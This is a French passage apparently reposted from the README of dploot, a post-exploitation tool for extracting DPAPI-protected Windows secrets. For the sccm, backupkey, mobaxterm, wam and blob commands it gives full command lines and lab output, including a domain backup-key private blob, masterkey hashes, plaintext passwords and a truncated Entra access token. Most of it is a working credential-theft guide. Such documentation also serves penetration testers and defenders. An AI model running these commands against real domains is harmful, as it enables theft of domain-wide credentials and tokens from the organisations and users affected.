La commande sccm récupérera les informations d'identification NAA, les variables de collection et les informations d'identification des séquences de tâches depuis la cible distante et les déchiffrera avec -mkfile FILE contenant un ou plusieurs {GUID}:SHA1 ; sinon, dploot extraira la clé secrète LSA DPAPI_SYSTEM afin de déchiffrer les clés maîtresses de machine, puis déchiffrera tout blob de clé privée DPAPI chiffré trouvé. L'utilisation de -wmi extraira les secrets SCCM des résultats des requêtes WMI.```text $ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SCCM Secrets

[NAA Account] Username: NAAAccount Password: Password!123

[snip]

root@kitploit:~
#### backupkey

La commande **backupkey** récupérera la clé de sauvegarde DPAPI du domaine depuis un contrôleur de domaine en utilisant [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). Cette clé ne change jamais et peut déchiffrer tout secret protégé par DPAPI de n'importe quel utilisateur du domaine. Des privilèges d'administrateur de domaine sont requis.

Par défaut, cette commande écrit la clé de sauvegarde du domaine dans un fichier nommé key.pvk, mais vous pouvez modifier cela avec l'indicateur `outputfile`. Il est également possible d'extraire la clé de sauvegarde héritée avec l'indicateur `legacy`.```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)

[DOMAIN BACKUPKEY V2]

PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}


[-] Exporting domain backupkey to file key.pvk

mobaxterm

La commande mobaxterm extrait les secrets MobaXterm et la clé masterpassword depuis la ruche (HKU) et les déchiffre avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, ou avec -passwords FILE combinaison user:password, -nthashes combinaison user:nthash ou un -pvk PVKFILE pour d'abord déchiffrer les masterkeys. Si l'utilisateur n'est pas connecté sur la cible distante, dploot téléchargera et extraira les secrets depuis NTUSER.dat.

Avec pvk :```text dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e

[*] Triage MobaXterm Secrets

[MOBAXTERM CREDENTIAL] Name: TEST Username: user Password: waza1234

[MOBAXTERM PASSWORD] Username: mobauser@mobaserver Password: 309554moba231082pass322883

root@kitploit:~
### wam

La commande **wam** recherche les fichiers TBRES du cache Token Broker et déchiffre leur contenu avec `-mkfile FILE` d'un ou plusieurs {GUID}:SHA1, ou avec `-passwords FILE` combinaison de user:password, `-nthashes` combinaison de user:nthash ou un `-pvk PVKFILE` pour d'abord déchiffrer les masterkeys. 

Avec `pvk`:```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Triage Office Token Broken Cache for ALL USERS

[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]

Conseils : Vous pouvez trouver le jeton d'accès Microsoft pour les utilisateurs Entra dans les fichiers TBRES.

blob

La commande blob déchiffrera un blob DPAPI avec -mkfile FILE d'un ou plusieurs {GUID}:SHA1, -masterkey {GUID}:SHA1 ou avec -passwords FILE une combinaison utilisateur:mot de passe, -nthashes une combinaison utilisateur:nthash ou un -pvk PVKFILE pour d'abord déchiffrer les masterkeys.

Avec pvk :```text dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]' [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Trying to decrypt DPAPI blob

[BLOB] Version : 1 (1) Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB MasterKeyVersion : 1 (1) Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B Flags : 0 () Description : CryptAlgo : 00006603 (26115) (CALG_3DES) Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' HMacKey : b'' HashAlgo : 00008004 (32772) (CALG_SHA) HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' Data : b'5ece8ce1dd8[...]

Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'

root@kitploit:~
***Astuce*** : *Vous pouvez trouver le jeton d'accès Microsoft pour les utilisateurs Entra dans les fichiers TBRES.*

## Crédits

Ces projets ont beaucoup aidé à l'écriture de cet outil :

- [Impacket](https://github.com/SecureAuthCorp/impacket) par la communauté
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) par [Harmj0y](https://twitter.com/harmj0y)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) par [gentilkiwi](https://twitter.com/gentilkiwi)
- [DonPAPI](https://github.com/login-securite/DonPAPI) par [LoginSecurite](https://twitter.com/LoginSecurite)
- [WAMBam](https://github.com/xpn/WAMBam) par [_xpn_](https://twitter.com/_xpn_)
Télécharger l’outil